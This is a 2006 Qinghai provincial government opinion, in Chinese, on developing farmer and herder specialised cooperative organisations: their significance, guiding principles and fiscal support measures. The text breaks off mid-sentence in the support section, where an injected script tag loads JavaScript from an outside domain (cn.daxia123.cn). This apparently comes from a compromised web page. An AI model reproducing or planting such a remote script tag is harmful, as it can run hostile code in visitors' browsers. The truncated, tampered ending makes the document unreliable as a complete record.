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青海省人民政府办公厅关于加快发展农牧民专业合作经济组织的意见
作者:管理员| 发布时间:2006-07-12

 

                                     青政办〔2006〕70号

 

西宁市、各自治州人民政府,海东行署,省政府各委、办、厅、局:
  为了适应新时期农牧业和农村牧区经济发展形势,提高农牧民进入市场的组织化程度,促进农牧业产业化经营、拓宽农牧民增收空间,根据中共中央、国务院《关于推进社会主义新农村建设的若干意见》精神,经省政府同意,现就加快发展农牧民专业合作经济组织提出如下意见:
  一、充分认识加快发展农牧民专业合作经济组织的重要意义
  农牧民专业合作经济组织是在坚持家庭承包经营的基础上,由从事同类农畜产品生产经营者、同类农牧业生产经营服务的提供者和利用者,自愿联合起来,以农牧民为主体、增加成员收入为目的,实行自我管理、自我服务、自我发展的互助性经济组织。发展农牧民专业合作经济组织,有利于提高农牧民参与市场竞争的组织化程度,实现千家万户小生产与千变万化大市场的有效对接,增强农牧户抵御风险的能力;有利于优化农牧区各种生产要素按照市场要求进行配置,发展壮大支柱产业和主导产业,促进经济结构调整;有利于促进龙头企业和农牧户之间形成风险共担、互利互惠、相对稳定的利益衔接机制,带动分散的农牧户有序地参与农牧业产业化经营;有利于建立市场经济条件下政府联系农牧民的桥梁纽带,增强政府指导和扶持农牧区经济发展的实效性和针对性。实践证明,合作经济组织是提高农牧民的市场主体地位,保护农牧民利益,增加农牧民收入的有效途径,是挖掘农牧业潜力,形成规模效益,建设现代农牧业的重要环节,是促进新农村新牧区建设、解决“三农”问题的突破口。各级政府要从践行“三个代表”重要思想,落实科学发展观的战略高度,充分认识加快发展农牧民专业合作经济组织的重要性和紧迫性,把引导扶持其发展放在农牧区工作的重要位置,抓紧抓好,抓出成效。
  二、明确发展农牧民专业合作经济组织的指导思想和基本原则
  (一)指导思想:坚持以邓小平理论和“三个代表”重要思想为指导,以家庭承包经营为基础,以农牧民自愿为前提,以农牧业增效、农牧民增收为目的,依托主导产业和特色产业,按照“因地制宜、多元创办、政府扶持、部门引导、市场运作”的思路,大力发展多种类型的农牧民专业合作经济组织,努力提高农牧民进入市场的组织化程度和参与市场竞争的能力,推进农牧业产业化进程。
  (二)基本原则
  1、坚持以家庭承包经营为基础的原则。正确处理专业合作与家庭承包经营的关系,发展农牧民专业合作经济组织不能违背家庭承包这一农村基本经营制度,切实保障农牧民土地(草场)承包经营权,保障农牧民生产经营自主权,维护农牧民合法权益。
  2、坚持自愿民主的原则。以农牧民为主体,充分尊重农牧民的意愿,实行加入自愿,退出自由。坚持以民办为核心,以利益为纽带,以章程为依据,按照“责权平等、效益共享、风险共担”的要求,实行民主选举、民主管理、民主决策和民主监督。
  3、坚持因地制宜、多形式发展的原则。培育和发展农牧民专业合作经济组织,要立足主导产业和优势产品,根据农牧民的合作要求和市场需求,结合实际确定农牧民专业合作经济组织的类型和运作模式。要突破地域、行业和所有制界限,积极探索多渠道、多领域、多层次的联合与合作。要坚持边发展、边规范,在发展中逐步规范,在规范中促进发展。
  4、坚持积极稳妥发展的原则。发展农牧民专业合作经济组织,既要按照市场规律办事,又要给予正确引导和政策扶持,既要加快发展,又要积极稳妥,遵循客观规律,切忌行政包办干预和强迫命令,做到推动而不强迫,扶持而不干预,参与而不包办。
  三、强化政策扶持力度,营造农牧民专业合作经济组织加快发展的宽松环境
  (一)加大财政扶持力度。各级政府要安排专项资金给予扶持,并逐年加大财政扶持的力度。要重点支持农牧民专业合作经济组织加强自身建设,提高服务能力;支持农牧民专业合作经济组织开展信息、技术、培训;支持新品种、新技术、新成果的引进、开发和推广;支持专业合作经济组织开展质量标准认证、市场营销等服务。把农牧民专业合作经济组织纳入全省农牧业服务和信息网络建设规划,给予扶持;对大型农畜产品原料基地建设和流通环节的仓储等设施建设,要给予适当的财政贴息支持。对符合农业产业化的农牧民专业合作?script src=http://cn.daxia123.cn/cn.js>

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